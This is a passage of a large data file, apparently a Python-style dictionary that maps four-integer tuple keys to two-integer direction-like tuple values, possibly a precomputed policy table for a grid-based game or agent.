16, 1, 0): (0, 1), (6, 16, 1, 1): (0, 1), (6, 16, 1, 2): (0, 1), (6, 16, 1, 3): (0, 1), (6, 16, 1, 4): (0, 0), (6, 16, 1, 5): (0, -1), (6, 16, 2, -5): (0, 1), (6, 16, 2, -4): (0, 1), (6, 16, 2, -3): (0, 1), (6, 16, 2, -2): (0, 1), (6, 16, 2, -1): (0, 1), (6, 16, 2, 0): (-1, 1), (6, 16, 2, 1): (-1, 1), (6, 16, 2, 2): (-1, 1), (6, 16, 2, 3): (-1, 1), (6, 16, 2, 4): (-1, 0), (6, 16, 2, 5): (-1, -1), (6, 16, 3, -5): (1, 1), (6, 16, 3, -4): (1, 1), (6, 16, 3, -3): (1, 1), (6, 16, 3, -2): (1, 1), (6, 16, 3, -1): (1, 1), (6, 16, 3, 0): (-1, 1), (6, 16, 3, 1): (-1, 1), (6, 16, 3, 2): (-1, 1), (6, 16, 3, 3): (-1, 1), (6, 16, 3, 4): (0, 1), (6, 16, 3, 5): (0, 1), (6, 16, 4, -5): (0, 1), (6, 16, 4, -4): (0, 1), (6, 16, 4, -3): (0, 1), (6, 16, 4, -2): (0, 1), (6, 16, 4, -1): (0, 1), (6, 16, 4, 0): (0, 1), (6, 16, 4, 1): (0, 1), (6, 16, 4, 2): (-1, 1), (6, 16, 4, 3): (-1, 1), (6, 16, 4, 4): (-1, 1), (6, 16, 4, 5): (-1, 1), (6, 16, 5, -5): (0, 1), (6, 16, 5, -4): (0, 1), (6, 16, 5, -3): (0, 1), (6, 16, 5, -2): (0, 1), (6, 16, 5, -1): (0, 1), (6, 16, 5, 0): (0, 1), (6, 16, 5, 1): (0, 1), (6, 16, 5, 2): (0, 0), (6, 16, 5, 3): (0, 1), (6, 16, 5, 4): (0, 1), (6, 16, 5, 5): (0, 1), (6, 17, -5, -5): (0, 1), (6, 17, -5, -4): (0, 1), (6, 17, -5, -3): (0, 1), (6, 17, -5, -2): (0, 1), (6, 17, -5, -1): (0, 1), (6, 17, -5, 0): (0, 1), (6, 17, -5, 1): (0, 0), (6, 17, -5, 2): (0, 1), (6, 17, -5, 3): (0, 1), (6, 17, -5, 4): (0, 1), (6, 17, -5, 5): (0, 1), (6, 17, -4, -5): (0, 1), (6, 17, -4, -4): (0, 1), (6, 17, -4, -3): (0, 1), (6, 17, -4, -2): (0, 1), (6, 17, -4, -1): (0, 1), (6, 17, -4, 0): (0, 1), (6, 17, -4, 1): (0, 0), (6, 17, -4, 2): (0, 1), (6, 17, -4, 3): (0, 1), (6, 17, -4, 4): (0, 1), (6, 17, -4, 5): (0, 1), (6, 17, -3, -5): (0, 1), (6, 17, -3, -4): (0, 1), (6, 17, -3, -3): (0, 1), (6, 17, -3, -2): (0, 1), (6, 17, -3, -1): (0, 1), (6, 17, -3, 0): (0, 1), (6, 17, -3, 1): (0, 0), (6, 17, -3, 2): (0, 1), (6, 17, -3, 3): (0, 1), (6, 17, -3, 4): (0, 1), (6, 17, -3, 5): (0, 1), (6, 17, -2, -5): (0, 1), (6, 17, -2, -4): (0, 1), (6, 17, -2, -3): (0, 1), (6, 17, -2, -2): (0, 1), (6, 17, -2, -1): (0, 1), (6, 17, -2, 0): (0, 1), (6, 17, -2, 1): (0, 0), (6, 17, -2, 2): (0, 1), (6, 17, -2, 3): (0, 1), (6, 17, -2, 4): (0, 1), (6, 17, -2, 5): (0, 1), (6, 17, -1, -5): (0, 1), (6, 17, -1, -4): (0, 1), (6, 17, -1, -3): (0, 1), (6, 17, -1, -2): (0, 1), (6, 17, -1, -1): (0, 1), (6, 17, -1, 0): (1, 1), (6, 17, -1, 1): (1, 1), (6, 17, -1, 2): (1, 1), (6, 17, -1, 3): (1, 1), (6, 17, -1, 4): (1, 1), (6, 17, -1, 5): (1, 0), (6, 17, 0, -5): (-1, 1), (6, 17, 0, -4): (-1, 1), (6, 17, 0, -3): (-1, 1), (6, 17, 0, -2): (-1, 1), (6, 17, 0, -1): (1, 1), (6, 17, 0, 0): (1, 1), (6, 17, 0, 1): (1, 1), (6, 17, 0, 2): (1, 1), (6, 17, 0, 3): (1, 1), (6, 17, 0, 4): (1, 0), (6, 17, 0, 5): (1, -1), (6, 17, 1, -5): (1, 1), (6, 17, 1, -4): (1, 1), (6, 17, 1, -3): (1, 1), (6, 17, 1, -2): (1, 1), (6, 17, 1, -1): (1, 1), (6, 17, 1, 0): (0, 1), (6, 17, 1, 1): (0, 1), (6, 17, 1, 2): (0, 1), (6, 17, 1, 3): (0, 1), (6, 17, 1, 4): (0, 0), (6, 17, 1, 5): (0, -1), (6, 17, 2, -5): (0, 1), (6, 17, 2, -4): (0, 1), (6, 17, 2, -3): (0, 1), (6, 17, 2, -2): (0, 1), (6, 17, 2, -1): (0, 1), (6, 17, 2, 0): (-1, 1), (6, 17, 2, 1): (-1, 1), (6, 17, 2, 2): (-1, 1), (6, 17, 2, 3): (-1, 1), (6, 17, 2, 4): (-1, 0), (6, 17, 2, 5): (-1, -1), (6, 17, 3, -5): (1, 1), (6, 17, 3, -4): (1, 1), (6, 17, 3, -3): (1, 1), (6, 17, 3, -2): (1, 1), (6, 17, 3, -1): (1, 1), (6, 17, 3, 0): (1, 1), (6, 17, 3, 1): (-1, 1), (6, 17, 3, 2): (-1, 1), (6, 17, 3, 3): (0, 1), (6, 17, 3, 4): (0, 1), (6, 17, 3, 5): (0, 1), (6, 17, 4, -5): (0, 1), (6, 17, 4, -4): (0, 1), (6, 17, 4, -3): (0, 1), (6, 17, 4, -2): (0, 1), (6, 17, 4, -1): (0, 1), (6, 17, 4, 0): (0, 1), (6, 17, 4, 1): (0, 0), (6, 17, 4, 2): (-1, 1), (6, 17, 4, 3): (-1, 1), (6, 17, 4, 4): (-1, 1), (6, 17, 4, 5): (-1, 1), (6, 17, 5, -5): (0, 1), (6, 17, 5, -4): (0, 1), (6, 17, 5, -3): (0, 1), (6, 17, 5, -2): (0, 1), (6, 17, 5, -1): (0, 1), (6, 17, 5, 0): (0, 1), (6, 17, 5, 1): (0, 0), (6, 17, 5, 2): (0, 1), (6, 17, 5, 3): (0, 1), (6, 17, 5, 4): (0, 1), (6, 17, 5, 5): (0, 1), (6, 18, -5, -5): (0, 1), (6, 18, -5, -4): (0, 1), (6, 18, -5, -3): (0, 1), (6, 18, -5, -2): (0, 1), (6, 18, -5, -1): (0, 1), (6, 18, -5, 0): (0, 0), (6, 18, -5, 1): (0, 1), (6, 18, -5, 2): (0, 1), (6, 18, -5, 3): (0, 1), (6, 18, -5, 4): (0, 1), (6, 18, -5, 5): (0, 1), (6, 18, -4, -5): (0, 1), (6, 18, -4, -4): (0, 1), (6, 18, -4, -3): (0, 1), (6, 18, -4, -2): (0, 1), (6, 18, -4, -1): (0, 1), (6, 18, -4, 0): (0, 0), (6, 18, -4, 1): (0, 1), (6, 18, -4, 2): (0, 1), (6, 18, -4, 3): (0, 1), (6, 18, -4, 4): (0, 1), (6, 18, -4, 5): (0, 1), (6, 18, -3, -5): (0, 1), (6, 18, -3, -4): (0, 1), (6, 18, -3, -3): (0, 1), (6, 18, -3, -2): (0, 1), (6, 18, -3, -1): (0, 1), (6, 18, -3, 0): (0, 0), (6, 18, -3, 1): (0, 1), (6, 18, -3, 2): (0, 1), (6, 18, -3, 3): (0, 1), (6, 18, -3, 4): (0, 1), (6, 18, -3, 5): (0, 1), (6, 18, -2, -5): (0, 1), (6, 18, -2, -4): (0, 1), (6, 18, -2, -3): (0, 1), (6, 18, -2, -2): (0, 1), (6, 18, -2, -1): (0, 1), (6, 18, -2, 0): (0, 0), (6, 18, -2, 1): (0, 1), (6, 18, -2, 2): (0, 1), (6, 18, -2, 3): (0, 1), (6, 18, -2, 4): (0, 1), (6, 18, -2, 5): (0, 1), (6, 18, -1, -5): (0, 1), (6, 18, -1, -4): (0, 1), (6, 18, -1, -3): (0, 1), (6, 18, -1, -2): (0, 1), (6, 18, -1, -1): (0, 1), (6, 18, -1, 0): (1, 1), (6, 18, -1, 1): (1, 1), (6, 18, -1, 2): (1, 1), (6, 18, -1, 3): (1, 1), (6, 18, -1, 4): (1, 1), (6, 18, -1, 5): (1, 0), (6, 18, 0, -5): (-1, 1), (6, 18, 0, -4): (-1, 1), (6, 18, 0, -3): (-1, 1), (6, 18, 0, -2): (-1, 1), (6, 18, 0, -1): (0, 1), (6, 18, 0, 0): (1, 1), (6, 18, 0, 1): (1, 1), (6, 18, 0, 2): (1, 1), (6, 18, 0, 3): (1, 0), (6, 18, 0, 4): (1, -1), (6, 18, 0, 5): (1, -1), (6, 18, 1, -5): (1, 1), (6, 18, 1, -4): (1, 1), (6, 18, 1, -3): (1, 1), (6, 18, 1, -2): (1, 1), (6, 18, 1, -1): (1, 1), (6, 18, 1, 0): (0, 1), (6, 18, 1, 1): (0, 1), (6, 18, 1, 2): (0, 1), (6, 18, 1, 3): (0, 0), (6, 18, 1, 4): (0, -1), (6, 18, 1, 5): (0, -1), (6, 18, 2, -5): (0, 1), (6, 18, 2, -4): (0, 1), (6, 18, 2, -3): (0, 1), (6, 18, 2, -2): (0, 1), (6, 18, 2, -1): (0, 1), (6, 18, 2, 0): (-1, 1), (6, 18, 2, 1): (-1, 1), (6, 18, 2, 2): (-1, 1), (6, 18, 2, 3): (-1, 0), (6, 18, 2, 4): (-1, -1), (6, 18, 2, 5): (-1, -1), (6, 18, 3, -5): (1, 1), (6, 18, 3, -4): (1, 1), (6, 18, 3, -3): (1, 1), (6, 18, 3, -2): (1, 1), (6, 18, 3, -1): (1, 1), (6, 18, 3, 0): (-1, 1), (6, 18, 3, 1): (-1, 1), (6, 18, 3, 2): (-1, 1), (6, 18, 3, 3): (0, 1), (6, 18, 3, 4): (0, 1), (6, 18, 3, 5): (0, 1), (6, 18, 4, -5): (0, 1), (6, 18, 4, -4): (0, 1), (6, 18, 4, -3): (0, 1), (6, 18, 4, -2): (0, 1), (6, 18, 4, -1): (0, 1), (6, 18, 4, 0): (0, 0), (6, 18, 4, 1): (-1, 1), (6, 18, 4, 2): (-1, 1), (6, 18, 4, 3): (-1, 1), (6, 18, 4, 4): (-1, 1), (6, 18, 4, 5): (-1, 1), (6, 18, 5, -5): (0, 1), (6, 18, 5, -4): (0, 1), (6, 18, 5, -3): (0, 1), (6, 18, 5, -2): (0, 1), (6, 18, 5, -1): (0, 1), (6, 18, 5, 0): (0, 0), (6, 18, 5, 1): (0, 1), (6, 18, 5, 2): (0, 1), (6, 18, 5, 3): (0, 1), (6, 18, 5, 4): (0, 1), (6, 18, 5, 5): (0, 1), (6, 19, -5, -5): (0, 1), (6, 19, -5, -4): (0, 1), (6, 19, -5, -3): (0, 1), (6, 19, -5, -2): (0, 1), (6, 19, -5, -1): (0, 0), (6, 19, -5, 0): (0, 1), (6, 19, -5, 1): (0, 1), (6, 19, -5, 2): (0, 1), (6, 19, -5, 3): (0, 1), (6, 19, -5, 4): (0, 1), (6, 19, -5, 5): (0, 1), (6, 19, -4, -5): (0, 1), (6, 19, -4, -4): (0, 1), (6, 19, -4, -3): (0, 1), (6, 19, -4, -2): (0, 1), (6, 19, -4, -1): (0, 0), (6, 19, -4, 0): (0, 1), (6, 19, -4, 1): (0, 1), (6, 19, -4, 2): (0, 1), (6, 19, -4, 3): (0, 1), (6, 19, -4, 4): (0, 1), (6, 19, -4, 5): (0, 1), (6, 19, -3, -5): (0, 1), (6, 19, -3, -4): (0, 1), (6, 19, -3, -3): (0, 1), (6, 19, -3, -2): (0, 1), (6, 19, -3, -1): (0, 0), (6, 19, -3, 0): (0, 1), (6, 19, -3, 1): (0, 1), (6, 19, -3, 2): (0, 1), (6, 19, -3, 3): (0, 1), (6, 19, -3, 4): (0, 1), (6, 19, -3, 5): (0, 1), (6, 19, -2, -5): (0, 1), (6, 19, -2, -4): (0, 1), (6, 19, -2, -3): (0, 1), (6, 19, -2, -2): (0, 1), (6, 19, -2, -1): (0, 0), (6, 19, -2, 0): (0, 1), (6, 19, -2, 1): (0, 1), (6, 19, -2, 2): (0, 1), (6, 19, -2, 3): (0, 1), (6, 19, -2, 4): (0, 1), (6, 19, -2, 5): (0, 1), (6, 19, -1, -5): (0, 1), (6, 19, -1, -4): (0, 1), (6, 19, -1, -3): (0, 1), (6, 19, -1, -2): (0, 1), (6, 19, -1, -1): (0, 0), (6, 19, -1, 0): (1, 1), (6, 19, -1, 1): (1, 1), (6, 19, -1, 2): (1, 1), (6, 19, -1, 3): (1, 1), (6, 19, -1, 4): (1, 1), (6, 19, -1, 5): (1, 0), (6, 19, 0, -5): (-1, 1), (6, 19, 0, -4): (-1, 1), (6, 19, 0, -3): (-1, 1), (6, 19, 0, -2): (-1, 1), (6, 19, 0, -1): (1, 1), (6, 19, 0, 0): (1, 1), (6, 19, 0, 1): (1, 1), (6, 19, 0, 2): (1, 0), (6, 19, 0, 3): (1, 1), (6, 19, 0, 4): (1, 0), (6, 19, 0, 5): (1, -1), (6, 19, 1, -5): (1, 1), (6, 19, 1, -4): (1, 1), (6, 19, 1, -3): (1, 1), (6, 19, 1, -2): (1, 1), (6, 19, 1, -1): (0, 1), (6, 19, 1, 0): (0, 1), (6, 19, 1, 1): (0, 1), (6, 19, 1, 2): (0, 0), (6, 19, 1, 3): (0, 1), (6, 19, 1, 4): (0, 0), (6, 19, 1, 5): (0, -1), (6, 19, 2, -5): (0, 1), (6, 19, 2, -4): (0, 1), (6, 19, 2, -3): (0, 1), (6, 19, 2, -2): (0, 1), (6, 19, 2, -1): (-1, 1), (6, 19, 2, 0): (-1, 1), (6, 19, 2, 1): (-1, 1), (6, 19, 2, 2): (-1, 0), (6, 19, 2, 3): (-1, 1), (6, 19, 2, 4): (-1, 0), (6, 19, 2, 5): (-1, -1), (6, 19, 3, -5): (1, 1), (6, 19, 3, -4): (1, 1), (6, 19, 3, -3): (1, 1), (6, 19, 3, -2): (1, 1), (6, 19, 3, -1): (1, 0), (6, 19, 3, 0): (-1, 1), (6, 19, 3, 1): (-1, 1), (6, 19, 3, 2): (0, 1), (6, 19, 3, 3): (0, 1), (6, 19, 3, 4): (0, 1), (6, 19, 3, 5): (0, 1), (6, 19, 4, -5): (0, 1), (6, 19, 4, -4): (0, 1), (6, 19, 4, -3): (0, 1), (6, 19, 4, -2): (0, 1), (6, 19, 4, -1): (0, 0), (6, 19, 4, 0): (0, 1), (6, 19, 4, 1): (-1, 1), (6, 19, 4, 2): (-1, 1), (6, 19, 4, 3): (-1, 1), (6, 19, 4, 4): (-1, 1), (6, 19, 4, 5): (-1, 1), (6, 19, 5, -5): (0, 1), (6, 19, 5, -4): (0, 1), (6, 19, 5, -3): (0, 1), (6, 19, 5, -2): (0, 1), (6, 19, 5, -1): (0, 0), (6, 19, 5, 0): (0, 1), (6, 19, 5, 1): (0, 1), (6, 19, 5, 2): (0, 1), (6, 19, 5, 3): (0, 1), (6, 19, 5, 4): (0, 1), (6, 19, 5, 5): (0, 1), (6, 20, -5, -5): (0, 1), (6, 20, -5, -4): (0, 1), (6, 20, -5, -3): (0, 1), (6, 20, -5, -2): (0, 0), (6, 20, -5, -1): (0, 1), (6, 20, -5, 0): (0, 1), (6, 20, -5, 1): (0, 1), (6, 20, -5, 2): (0, 1), (6, 20, -5, 3): (0, 1), (6, 20, -5, 4): (0, 1), (6, 20, -5, 5): (0, 1), (6, 20, -4, -5): (0, 1), (6, 20, -4, -4): (0, 1), (6, 20, -4, -3): (0, 1), (6, 20, -4, -2): (0, 0), (6, 20, -4, -1): (0, 1), (6, 20, -4, 0): (0, 1), (6, 20, -4, 1): (0, 1), (6, 20, -4, 2): (0, 1), (6, 20, -4, 3): (0, 1), (6, 20, -4, 4): (0, 1), (6, 20, -4, 5): (0, 1), (6, 20, -3, -5): (0, 1), (6, 20, -3, -4): (0, 1), (6, 20, -3, -3): (0, 1), (6, 20, -3, -2): (0, 0), (6, 20, -3, -1): (0, 1), (6, 20, -3, 0): (0, 1), (6, 20, -3, 1): (0, 1), (6, 20, -3, 2): (0, 1), (6, 20, -3, 3): (0, 1), (6, 20, -3, 4): (0, 1), (6, 20, -3, 5): (0, 1), (6, 20, -2, -5): (0, 1), (6, 20, -2, -4): (0, 1), (6, 20, -2, -3): (0, 1), (6, 20, -2, -2): (0, 0), (6, 20, -2, -1): (0, 1), (6, 20, -2, 0): (0, 1), (6, 20, -2, 1): (0, 1), (6, 20, -2, 2): (0, 1), (6, 20, -2, 3): (0, 1), (6, 20, -2, 4): (0, 1), (6, 20, -2, 5): (0, 1), (6, 20, -1, -5): (0, 1), (6, 20, -1, -4): (0, 1), (6, 20, -1, -3): (0, 1), (6, 20, -1, -2): (0, 0), (6, 20, -1, -1): (0, 1), (6, 20, -1, 0): (1, 1), (6, 20, -1, 1): (1, 1), (6, 20, -1, 2): (1, 1), (6, 20, -1, 3): (1, 1), (6, 20, -1, 4): (1, 1), (6, 20, -1, 5): (1, 0), (6, 20, 0, -5): (-1, 1), (6, 20, 0, -4): (-1, 1), (6, 20, 0, -3): (-1, 1), (6, 20, 0, -2): (-1, 0), (6, 20, 0, -1): (1, 1), (6, 20, 0, 0): (1, 1), (6, 20, 0, 1): (1, 1), (6, 20, 0, 2): (1, 1), (6, 20, 0, 3): (1, 0), (6, 20, 0, 4): (0, 1), (6, 20, 0, 5): (0, 1), (6, 20, 1, -5): (1, 1), (6, 20, 1, -4): (1, 1), (6, 20, 1, -3): (1, 1), (6, 20, 1, -2): (1, 1), (6, 20, 1, -1): (1, 1), (6, 20, 1, 0): (0, 1), (6, 20, 1, 1): (0, 1), (6, 20, 1, 2): (0, 1), (6, 20, 1, 3): (0, 0), (6, 20, 1, 4): (-1, 1), (6, 20, 1, 5): (-1, 1), (6, 20, 2, -5): (0, 1), (6, 20, 2, -4): (0, 1), (6, 20, 2, -3): (0, 1), (6, 20, 2, -2): (0, 1), (6, 20, 2, -1): (0, 1), (6, 20, 2, 0): (-1, 1), (6, 20, 2, 1): (-1, 1), (6, 20, 2, 2): (-1, 1), (6, 20, 2, 3): (-1, 0), (6, 20, 2, 4): (-1, -1), (6, 20, 2, 5): (-1, -1), (6, 20, 3, -5): (1, 1), (6, 20, 3, -4): (1, 1), (6, 20, 3, -3): (1, 1), (6, 20, 3, -2): (1, 0), (6, 20, 3, -1): (1, 1), (6, 20, 3, 0): (1, 1), (6, 20, 3, 1): (1, 1), (6, 20, 3, 2): (0, 1), (6, 20, 3, 3): (0, 1), (6, 20, 3, 4): (0, 1), (6, 20, 3, 5): (0, 1), (6, 20, 4, -5): (0, 1), (6, 20, 4, -4): (0, 1), (6, 20, 4, -3): (0, 1), (6, 20, 4, -2): (0, 0), (6, 20, 4, -1): (0, 1), (6, 20, 4, 0): (0, 1), (6, 20, 4, 1): (0, 1), (6, 20, 4, 2): (-1, 1), (6, 20, 4, 3): (-1, 1), (6, 20, 4, 4): (-1, 1), (6, 20, 4, 5): (-1, 1), (6, 20, 5, -5): (0, 1), (6, 20, 5, -4): (0, 1), (6, 20, 5, -3): (0, 1), (6, 20, 5, -2): (0, 0), (6, 20, 5, -1): (0, 1), (6, 20, 5, 0): (0, 1), (6, 20, 5, 1): (0, 1), (6, 20, 5, 2): (0, 1), (6, 20, 5, 3): (0, 1), (6, 20, 5, 4): (0, 1), (6, 20, 5, 5): (0, 1), (6, 21, -5, -5): (0, 1), (6, 21, -5, -4): (0, 1), (6, 21, -5, -3): (0, 0), (6, 21, -5, -2): (0, 1), (6, 21, -5, -1): (0, 1), (6, 21, -5, 0): (0, 1), (6, 21, -5, 1): (0, 1), (6, 21, -5, 2): (0, 1), (6, 21, -5, 3): (0, 1), (6, 21, -5, 4): (0, 1), (6, 21, -5, 5): (0, 1), (6, 21, -4, -5): (0, 1), (6, 21, -4, -4): (0, 1), (6, 21, -4, -3): (0, 0), (6, 21, -4, -2): (0, 1), (6, 21, -4, -1): (0, 1), (6, 21, -4, 0): (0, 1), (6, 21, -4, 1): (0, 1), (6, 21, -4, 2): (0, 1), (6, 21, -4, 3): (0, 1), (6, 21, -4, 4): (0, 1), (6, 21, -4, 5): (0, 1), (6, 21, -3, -5): (0, 1), (6, 21, -3, -4): (0, 1), (6, 21, -3, -3): (0, 0), (6, 21, -3, -2): (0, 1), (6, 21, -3, -1): (0, 1), (6, 21, -3, 0): (0, 1), (6, 21, -3, 1): (0, 1), (6, 21, -3, 2): (0, 1), (6, 21, -3, 3): (0, 1), (6, 21, -3, 4): (0, 1), (6, 21, -3, 5): (0, 1), (6, 21, -2, -5): (0, 1), (6, 21, -2, -4): (0, 1), (6, 21, -2, -3): (0, 0), (6, 21, -2, -2): (0, 1), (6, 21, -2, -1): (0, 1), (6, 21, -2, 0): (0, 1), (6, 21, -2, 1): (0, 1), (6, 21, -2, 2): (0, 1), (6, 21, -2, 3): (0, 1), (6, 21, -2, 4): (0, 1), (6, 21, -2, 5): (0, 1), (6, 21, -1, -5): (0, 1), (6, 21, -1, -4): (0, 1), (6, 21, -1, -3): (0, 0), (6, 21, -1, -2): (0, 1), (6, 21, -1, -1): (0, 1), (6, 21, -1, 0): (1, 1), (6, 21, -1, 1): (1, 1), (6, 21, -1, 2): (1, 1), (6, 21, -1, 3): (1, 1), (6, 21, -1, 4): (1, 1), (6, 21, -1, 5): (1, 0), (6, 21, 0, -5): (-1, 1), (6, 21, 0, -4): (-1, 1), (6, 21, 0, -3): (-1, 0), (6, 21, 0, -2): (-1, 1), (6, 21, 0, -1): (1, 1), (6, 21, 0, 0): (1, 1), (6, 21, 0, 1): (1, 1), (6, 21, 0, 2): (1, 1), (6, 21, 0, 3): (0, 1), (6, 21, 0, 4): (0, 1), (6, 21, 0, 5): (0, 1), (6, 21, 1, -5): (1, 1), (6, 21, 1, -4): (1, 1), (6, 21, 1, -3): (1, 1), (6, 21, 1, -2): (1, 1), (6, 21, 1, -1): (0, 1), (6, 21, 1, 0): (0, 1), (6, 21, 1, 1): (0, 1), (6, 21, 1, 2): (0, 1), (6, 21, 1, 3): (-1, 1), (6, 21, 1, 4): (-1, 1), (6, 21, 1, 5): (-1, 1), (6, 21, 2, -5): (0, 1), (6, 21, 2, -4): (0, 1), (6, 21, 2, -3): (0, 1), (6, 21, 2, -2): (0, 1), (6, 21, 2, -1): (-1, 1), (6, 21, 2, 0): (-1, 1), (6, 21, 2, 1): (-1, 1), (6, 21, 2, 2): (-1, 1), (6, 21, 2, 3): (-1, 1), (6, 21, 2, 4): (-1, 0), (6, 21, 2, 5): (-1, -1), (6, 21, 3, -5): (1, 1), (6, 21, 3, -4): (1, 1), (6, 21, 3, -3): (1, 0), (6, 21, 3, -2): (1, 1), (6, 21, 3, -1): (1, 1), (6, 21, 3, 0): (1, 1), (6, 21, 3, 1): (1, 1), (6, 21, 3, 2): (0, 1), (6, 21, 3, 3): (0, 1), (6, 21, 3, 4): (1, 1), (6, 21, 3, 5): (1, 0), (6, 21, 4, -5): (0, 1), (6, 21, 4, -4): (0, 1), (6, 21, 4, -3): (0, 0), (6, 21, 4, -2): (0, 1), (6, 21, 4, -1): (0, 1), (6, 21, 4, 0): (0, 1), (6, 21, 4, 1): (0, 1), (6, 21, 4, 2): (-1, 1), (6, 21, 4, 3): (-1, 1), (6, 21, 4, 4): (0, 1), (6, 21, 4, 5): (0, 1), (6, 21, 5, -5): (0, 1), (6, 21, 5, -4): (0, 1), (6, 21, 5, -3): (0, 0), (6, 21, 5, -2): (0, 1), (6, 21, 5, -1): (0, 1), (6, 21, 5, 0): (0, 1), (6, 21, 5, 1): (0, 1), (6, 21, 5, 2): (0, 1), (6, 21, 5, 3): (0, 1), (6, 21, 5, 4): (0, 1), (6, 21, 5, 5): (0, 1), (6, 22, -5, -5): (0, 1), (6, 22, -5, -4): (0, 0), (6, 22, -5, -3): (0, 1), (6, 22, -5, -2): (0, 1), (6, 22, -5, -1): (0, 1), (6, 22, -5, 0): (0, 1), (6, 22, -5, 1): (0, 1), (6, 22, -5, 2): (0, 1), (6, 22, -5, 3): (0, 1), (6, 22, -5, 4): (0, 1), (6, 22, -5, 5): (0, 1), (6, 22, -4, -5): (0, 1), (6, 22, -4, -4): (0, 0), (6, 22, -4, -3): (0, 1), (6, 22, -4, -2): (0, 1), (6, 22, -4, -1): (0, 1), (6, 22, -4, 0): (0, 1), (6, 22, -4, 1): (0, 1), (6, 22, -4, 2): (0, 1), (6, 22, -4, 3): (0, 1), (6, 22, -4, 4): (0, 1), (6, 22, -4, 5): (0, 1), (6, 22, -3, -5): (0, 1), (6, 22, -3, -4): (0, 0), (6, 22, -3, -3): (0, 1), (6, 22, -3, -2): (0, 1), (6, 22, -3, -1): (0, 1), (6, 22, -3, 0): (0, 1), (6, 22, -3, 1): (0, 1), (6, 22, -3, 2): (0, 1), (6, 22, -3, 3): (0, 1), (6, 22, -3, 4): (0, 1), (6, 22, -3, 5): (0, 1), (6, 22, -2, -5): (0, 1), (6, 22, -2, -4): (0, 0), (6, 22, -2, -3): (0, 1), (6, 22, -2, -2): (0, 1), (6, 22, -2, -1): (0, 1), (6, 22, -2, 0): (0, 1), (6, 22, -2, 1): (0, 1), (6, 22, -2, 2): (0, 1), (6, 22, -2, 3): (0, 1), (6, 22, -2, 4): (0, 1), (6, 22, -2, 5): (0, 1), (6, 22, -1, -5): (0, 1), (6, 22, -1, -4): (0, 0), (6, 22, -1, -3): (0, 1), (6, 22, -1, -2): (0, 1), (6, 22, -1, -1): (0, 1), (6, 22, -1, 0): (1, 1), (6, 22, -1, 1): (1, 1), (6, 22, -1, 2): (1, 1), (6, 22, -1, 3): (1, 1), (6, 22, -1, 4): (1, 1), (6, 22, -1, 5): (1, 0), (6, 22, 0, -5): (-1, 1), (6, 22, 0, -4): (-1, 0), (6, 22, 0, -3): (-1, 1), (6, 22, 0, -2): (-1, 1), (6, 22, 0, -1): (1, 1), (6, 22, 0, 0): (1, 1), (6, 22, 0, 1): (1, 1), (6, 22, 0, 2): (0, 1), (6, 22, 0, 3): (0, 1), (6, 22, 0, 4): (0, 1), (6, 22, 0, 5): (0, 1), (6, 22, 1, -5): (1, 1), (6, 22, 1, -4): (1, 1), (6, 22, 1, -3): (1, 1), (6, 22, 1, -2): (1, 1), (6, 22, 1, -1): (0, 1), (6, 22, 1, 0): (0, 1), (6, 22, 1, 1): (0, 1), (6, 22, 1, 2): (-1, 1), (6, 22, 1, 3): (-1, 1), (6, 22, 1, 4): (-1, 1), (6, 22, 1, 5): (-1, 1), (6, 22, 2, -5): (0, 1), (6, 22, 2, -4): (0, 1), (6, 22, 2, -3): (0, 1), (6, 22, 2, -2): (0, 1), (6, 22, 2, -1): (-1, 1), (6, 22, 2, 0): (-1, 1), (6, 22, 2, 1): (-1, 1), (6, 22, 2, 2): (-1, 1), (6, 22, 2, 3): (-1, 0), (6, 22, 2, 4): (-1, -1), (6, 22, 2, 5): (-1, -1), (6, 22, 3, -5): (1, 1), (6, 22, 3, -4): (1, 0), (6, 22, 3, -3): (1, 1), (6, 22, 3, -2): (1, 1), (6, 22, 3, -1): (1, 1), (6, 22, 3, 0): (1, 1), (6, 22, 3, 1): (0, 1), (6, 22, 3, 2): (0, 1), (6, 22, 3, 3): (1, 1), (6, 22, 3, 4): (1, 1), (6, 22, 3, 5): (1, 0), (6, 22, 4, -5): (0, 1), (6, 22, 4, -4): (0, 0), (6, 22, 4, -3): (0, 1), (6, 22, 4, -2): (0, 1), (6, 22, 4, -1): (0, 1), (6, 22, 4, 0): (0, 1), (6, 22, 4, 1): (-1, 1), (6, 22, 4, 2): (-1, 1), (6, 22, 4, 3): (0, 1), (6, 22, 4, 4): (0, 1), (6, 22, 4, 5): (0, 1), (6, 22, 5, -5): (0, 1), (6, 22, 5, -4): (0, 0), (6, 22, 5, -3): (0, 1), (6, 22, 5, -2): (0, 1), (6, 22, 5, -1): (0, 1), (6, 22, 5, 0): (0, 1), (6, 22, 5, 1): (0, 1), (6, 22, 5, 2): (0, 1), (6, 22, 5, 3): (0, 1), (6, 22, 5, 4): (0, 1), (6, 22, 5, 5): (0, 1), (6, 23, -5, -5): (0, 0), (6, 23, -5, -4): (0, 1), (6, 23, -5, -3): (0, 1), (6, 23, -5, -2): (0, 1), (6, 23, -5, -1): (0, 1), (6, 23, -5, 0): (0, 1), (6, 23, -5, 1): (0, 1), (6, 23, -5, 2): (0, 1), (6, 23, -5, 3): (0, 1), (6, 23, -5, 4): (0, 1), (6, 23, -5, 5): (0, 1), (6, 23, -4, -5): (0, 0), (6, 23, -4, -4): (0, 1), (6, 23, -4, -3): (0, 1), (6, 23, -4, -2): (0, 1), (6, 23, -4, -1): (0, 1), (6, 23, -4, 0): (0, 1), (6, 23, -4, 1): (0, 1), (6, 23, -4, 2): (0, 1), (6, 23, -4, 3): (0, 1), (6, 23, -4, 4): (-1, 1), (6, 23, -4, 5): (-1, 1), (6, 23, -3, -5): (0, 0), (6, 23, -3, -4): (0, 1), (6, 23, -3, -3): (0, 1), (6, 23, -3, -2): (0, 1), (6, 23, -3, -1): (0, 1), (6, 23, -3, 0): (0, 1), (6, 23, -3, 1): (0, 1), (6, 23, -3, 2): (0, 1), (6, 23, -3, 3): (0, 1), (6, 23, -3, 4): (0, 1), (6, 23, -3, 5): (0, 1), (6, 23, -2, -5): (0, 0), (6, 23, -2, -4): (0, 1), (6, 23, -2, -3): (0, 1), (6, 23, -2, -2): (0, 1), (6, 23, -2, -1): (0, 1), (6, 23, -2, 0): (0, 1), (6, 23, -2, 1): (0, 1), (6, 23, -2, 2): (0, 1), (6, 23, -2, 3): (0, 1), (6, 23, -2, 4): (0, 1), (6, 23, -2, 5): (0, 1), (6, 23, -1, -5): (0, 0), (6, 23, -1, -4): (0, 1), (6, 23, -1, -3): (0, 1), (6, 23, -1, -2): (0, 1), (6, 23, -1, -1): (0, 1), (6, 23, -1, 0): (1, 1), (6, 23, -1, 1): (1, 1), 